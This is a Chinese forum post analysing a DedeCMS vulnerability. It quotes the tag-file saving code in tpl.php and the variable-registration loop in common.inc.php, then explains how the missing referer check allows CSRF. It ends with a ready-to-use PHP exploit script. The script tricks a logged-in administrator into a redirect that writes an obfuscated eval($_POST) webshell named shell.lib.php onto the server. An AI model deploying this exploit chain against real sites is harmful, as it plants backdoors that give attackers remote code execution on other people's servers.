搜索
查看: 2480|回复: 0

dedecms友情链接利用漏洞

[复制链接]

651

主题

944

帖子

2425

积分

管理员

本论坛第一帅

Rank: 9Rank: 9Rank: 9

积分
2425

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2018-2-17 11:52:16 | 显示全部楼层 |阅读模式
  1. /*---------------------------
  2. function savetagfile() { }
  3. 保存标签碎片修改
  4. --------------------------*/
  5. else if($action=='savetagfile')
  6. {
  7.     if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
  8.     {
  9.         ShowMsg('文件名不合法,不允许进行操作!', '-1');
  10.         exit();
  11.     }
  12.     require_once(DEDEINC.'/oxwindow.class.php');
  13.     $tagname = preg_replace("#\.lib\.php$#i", "", $filename);
  14.     $content = stripslashes($content);
  15.     $truefile = DEDEINC.'/taglib/'.$filename;
  16.     $fp = fopen($truefile, 'w');
  17.     fwrite($fp, $content);
  18.     fclose($fp);
  19.     $msg = "
  20.     <form name='form1' action='tag_test_action.php' target='blank' method='post'>
  21.       <input type='hidden' name='dopost' value='make' />
  22.         <b>测试标签:</b>(需要使用环境变量的不能在此测试)
  23.         <textarea name='partcode' cols='150' rows='6' style='width:90%;'>{dede:{$tagname} }{/dede:{$tagname}}</textarea>
  24.         <input name='imageField1' type='image' class='np' src='images/button_ok.gif' width='60' height='22' border='0' />
  25.     </form>
  26.     ";
  27.     $wintitle = "成功修改/创建文件!";
  28.     $wecome_info = "<a href='templets_tagsource.php'>标签源码碎片管理</a> >> 修改/新建标签";
  29.     $win = new OxWindow();
  30.     $win->AddTitle("修改/新建标签:");
  31.     $win->AddMsgItem($msg);
  32.     $winform = $win->GetWindow("hand"," ",false);
  33.     $win->Display();
  34.     exit();
  35. }
复制代码
这里是漏洞利用写入文件的地方,但是我们知道,基本所有的不安全情况,是在数据输入输出时发生的,这里的参数是怎么传递过来的呢?还有$filename和$content是怎么传递参数的呢?继续跟踪
config.php又 include了 common.inc.php ,而一般情况下,类似common.php这种文件名的,里面存放着一些将会经常用到的函数。继续跟踪上去。果然发现了猫腻在common.inc.php 发现了
  1. foreach(Array('_GET','_POST','_COOKIE') as $_request)
  2.     {
  3.         foreach($_request as $_k => $_v)
  4.         {
  5.             if($_k == 'nvarname') ${$_k} = $_v;
  6.             else ${$_k} = _RunMagicQuotes($_v);
  7.         }
  8.     }
复制代码
问题在哪呢? 这段代码大概的意思是 从数组中获取获取参数的方,这里GET,POST,COOKIE方式的参数都有了。
先来跟踪GET,二层循环中$_GET(这个可以看作是一个全局数组)**$_k ,$_v 获取数组的key value值.${$_k}这里全局注册了变量,假如输入GET型参数 ?test=k4l0n.则在本php页及所有包含本页的php页中 , $test的值都被赋值为了kl0n
而tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量写入任意的代码。
继续跟踪 userLogin类的getUserID函数:
  1. /**
  2.      *  获得用户的ID
  3.      *
  4.      * @access    public
  5.      * @return    int
  6.      */
  7.     function getUserID()
  8.     {
  9.         if($this->userID != '')
  10.         {
  11.             return $this->userID;
  12.         }
  13.         else
  14.         {
  15.             return -1;
  16.         }
  17.     }
  18. userLogin类用户登录

  19. /**
  20.      *  检验用户是否正确
  21.      *
  22.      * @access    public
  23.      * @param     string    $username  用户名
  24.      * @param     string    $userpwd  密码
  25.      * @return    string
  26.      */
  27.     function checkUser($username, $userpwd)
  28.     {
  29.         global $dsql;

  30.         //只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符
  31.         $this->userName = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $username);
  32.         $this->userPwd = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $userpwd);
  33.         $pwd = substr(md5($this->userPwd), 5, 20);
  34.         $dsql->SetQuery("SELECT admin.*,atype.purviews FROM `#@__admin` admin LEFT JOIN `#@__admintype` atype ON atype.rank=admin.usertype WHERE admin.userid LIKE '".$this->userName."' LIMIT 0,1");
  35.         $dsql->Execute();
  36.         $row = $dsql->GetObject();
  37.         if(!isset($row->pwd))
  38.         {
  39.             return -1;
  40.         }
  41.         else if($pwd!=$row->pwd)
  42.         {
  43.             return -2;
  44.         }
  45.         else
  46.         {
  47.             $loginip = GetIP();
  48.             $this->userID = $row->id;
  49.             $this->userType = $row->usertype;
  50.             $this->userChannel = $row->typeid;
  51.             $this->userName = $row->uname;
  52.             $this->userPurview = $row->purviews;
  53.             $inquery = "UPDATE `#@__admin` SET loginip='$loginip',logintime='".time()."' WHERE id='".$row->id."'";
  54.             $dsql->ExecuteNoneQuery($inquery);
  55.             $sql = "UPDATE #@__member SET logintime=".time().", loginip='$loginip' WHERE mid=".$row->id;
  56.             $dsql->ExecuteNoneQuery($sql);
  57.             return 1;
  58.         }
  59.     }

  60.     /**
  61.      *  保持用户的会话状态
  62.      *
  63.      * @access    public
  64.      * @return    int    成功返回 1 ,失败返回 -1
  65.      */
  66.     function keepUser()
  67.     {
  68.         if($this->userID != '' && $this->userType != '')
  69.         {
  70.             global $admincachefile,$adminstyle;
  71.             if(empty($adminstyle)) $adminstyle = 'dedecms';

  72.             @session_register($this->keepUserIDTag);
  73.             $_SESSION[$this->keepUserIDTag] = $this->userID;

  74.             @session_register($this->keepUserTypeTag);
  75.             $_SESSION[$this->keepUserTypeTag] = $this->userType;

  76.             @session_register($this->keepUserChannelTag);
  77.             $_SESSION[$this->keepUserChannelTag] = $this->userChannel;

  78.             @session_register($this->keepUserNameTag);
  79.             $_SESSION[$this->keepUserNameTag] = $this->userName;

  80.             @session_register($this->keepUserPurviewTag);
  81.             $_SESSION[$this->keepUserPurviewTag] = $this->userPurview;

  82.             @session_register($this->keepAdminStyleTag);
  83.             $_SESSION[$this->keepAdminStyleTag] = $adminstyle;

  84.             PutCookie('DedeUserID', $this->userID, 3600 * 24, '/');
  85.             PutCookie('DedeLoginTime', time(), 3600 * 24, '/');

  86.             $this->ReWriteAdminChannel();

  87.             return 1;
  88.         }
  89.         else
  90.         {
  91.             return -1;
  92.         }
  93.     }
复制代码
通过跟踪发现,这里没有对管理员的来源页进行任何检查,只是检查了管理员是否登陆,这就造成了一个CSRF漏洞。到这里漏洞思路就很清晰了,由于变量可控漏洞导致可写入任意代码,由于CSRF漏洞诱导管理员以管理员的权限去写入代码。
先上exp:
  1. <?php
  2. //print_r($_SERVER);
  3. $referer = $_SERVER['HTTP_REFERER'];
  4. $dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径
  5. //拼接 exp
  6. $muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'

  7. .'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>';
  8. $exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';
  9. $url = $dede_login.$exp;
  10. //echo $url;
  11. header("location: ".$url);
  12. // send mail coder
  13. exit();
  14. ?>
复制代码


有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表